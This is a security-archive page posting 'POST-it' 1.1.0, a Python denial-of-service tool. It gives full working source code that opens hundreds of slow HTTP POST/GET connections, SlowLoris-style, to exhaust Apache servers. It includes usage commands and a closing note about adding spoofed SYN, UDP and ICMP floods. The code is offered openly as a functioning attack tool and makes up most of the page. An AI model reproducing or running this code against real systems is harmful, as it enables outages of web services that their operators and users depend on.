ignorance isn't always an option

POST-it Denial Of Service Tool 1.1.0

POST-it Denial Of Service Tool 1.1.0
Posted Feb 1, 2011
Authored by Zodiac, Hex

POST-it is a both proof of concept and fully functioning code, showing how the timeout-weaknesses in HTTP POST protocol can be leveraged to cause Apache servers to fail. Written in Python.

tags | web, denial of service, protocol, proof of concept, python
MD5 | ef752b1371add83dc7f2c8c6decea19d

POST-it Denial Of Service Tool 1.1.0

Change Mirror Download
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

POST-it is a both proof of concept and fully functioning code,
showing how the timeout-weaknesses in HTTP POST protocol can be
leveraged to cause Apache (and perhaps IIS, have not tested yet)
servers to fail. This code uses the index.php page as the target,
but future revisions will be more modular.
It also incorporates a HTTP GET attack ala SlowLoris in the code.
Written in python, usage is 'python postit.py -t <post/get> <target
URL>

Source code below.

SOURCE


# PostIT HTTP POST/GET flooding tool, v1.1.0
# Opens many HTTP:POST/GET connections with long TimeOut to cause
servers to literaly crap out and die
# Idea is to allow for both POST and GET flood types
# Useage is : sudo python postit.py -t <POST/GET> <targetIP>
# hits apache servers with a index.php page hard
# next version will allow for selection of target page
# also perhaps a GUI would be fine...
# FOR INTEGRATION INTO PyLOIC
# GET/SlowLoris attack seems to work awesomely
# Written by Zodiac and Hex

import sys
import socket
import time
import getopt
import re
from threading import Thread

class MyThread(Thread,):
def __init__(self,SITE, DOS_TYPE):
Thread.__init__(self)
self.method = DOS_TYPE
self.site = SITE
self.kill_received = False
def run(self):
while not self.kill_received:
server = socket.gethostbyname(self.site)
post = 'x' * 6000
file = 'index.php'

request = '%s /%s HTTP/1.1\r\n' %
(self.method.upper(),file)
request += 'Host: %s\r\n' % (self.site)
request += 'User-Agent: Mozilla/5.0 (Windows; U;
Windows NT 6.1; en-US; rv:1.9.2.12) Gecko/20101026
Firefox/3.6.12\r\n'
request += 'Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n'
request += 'Accept-Language: en-us,en;q=0.5\r\n'
request += 'Accept-Encoding: gzip,deflate\r\n'
request += 'Accept-Charset: ISO-8859-1,utf-
8;q=0.7,*;q=0.7\r\n'
request += 'Keep-Alive: 900\r\n'
request += 'Connection: keep-alive\r\n'
request += 'Content-Type: application/x-www-form-
urlencoded\r\n'
request += 'Content-length: %s\r\n\r\n' % (len(post))

newrequest = '%s\r\n' % (post)
newrequest += '\r\n'

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
s.connect((server, 80))
s.send(request)

for c in newrequest:
sys.stdout.write( s.send(c).__str__() )
time.sleep(60)
s.close()
#s.recv(50000)
except:
print "Is It Dead Yet?"

def da_delegator(SITE,DOS_TYPE):
thread_count = 500
print '=' * 60
print 'POST-it v1.1.0'.center(60,'-')
print '=' * 60
threads = []
for num in range(thread_count):
thr1=MyThread(SITE,DOS_TYPE)
print 'start - %s' % thr1
thr1.start()
threads.append(thr1)
#thr1.join()

while len(threads) > 0:
try:
# Join all threads using a timeout so it doesn't
block
# Filter out threads which have been joined or are
None
threads = [t.join(1) for t in threads if t is not
None and t.isAlive()]
except KeyboardInterrupt:
print "Ctrl-c received! Sending kill to threads...
Just Kill The Terminal" # Need to fix this!!!
for t in threads:
t.kill_received = True
sys.exit(2)

def main(argv):
def usage():
print '=' * 60
print 'POST-it v1.1.0'.center(60,'-')
print '=' * 60
print 'For get DOS - USAGE: postit.py -t get
http://example.com'
print 'For post DOS - USAGE: postit.py -t post
http://example.com'
sys.exit(2)
if not argv:
usage()
try:
opts, args = getopt.getopt(sys.argv[1:], "t:h", ["help",
"type"])
except getopt.GetoptError, err:
print str(err)
sys.exit(2)
output = None
verbose = False
SITE = re.sub(r'http://', '', str(sys.argv[-1:][0]))

for o, a in opts:
if o == "-v":
verbose = True
elif o in ("-t", "--type"):
if a.lower() == 'post':
DOS_TYPE = 'POST'
da_delegator(SITE,DOS_TYPE)
elif a.lower() =='get':
DOS_TYPE = 'get'
da_delegator(SITE,DOS_TYPE)
elif o in ("-h", "--help"):
usage()
sys.exit()
else:
assert False, "unhandled option"

if __name__=="__main__":
main(sys.argv[1:])

# Needs to get a TKinter GUI frontend and allow for incorporation
of a SYN flood with spoofed source IP, TCP flood, basic ICMP flood,
basic HTTP flood and UDP flood to create a REALLY fucking
comprehensive DoS tool
-----BEGIN PGP SIGNATURE-----
Charset: UTF8
Note: This signature can be verified at https://www.hushtools.com/verify
Version: Hush 3.0

wpwEAQMCAAYFAk1H500ACgkQVJ6XHiA/y9PZFAQAgaxGd4r54rlQ8YaWmvRRYuRslgeb
wvx09i0zjwPNFWdwDU/a+/iccFofj2WH79ooEb0E8cbbAJqFL420hx/LyqbNbEWoarql
ysUNRkEuD2a0TDSnM2py7jvgEg6Z7BZ3OZqSACged+jILr0SqNklfnetnV5uHclfeTQb
P4BAN/Q=
=p6rn
-----END PGP SIGNATURE-----

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close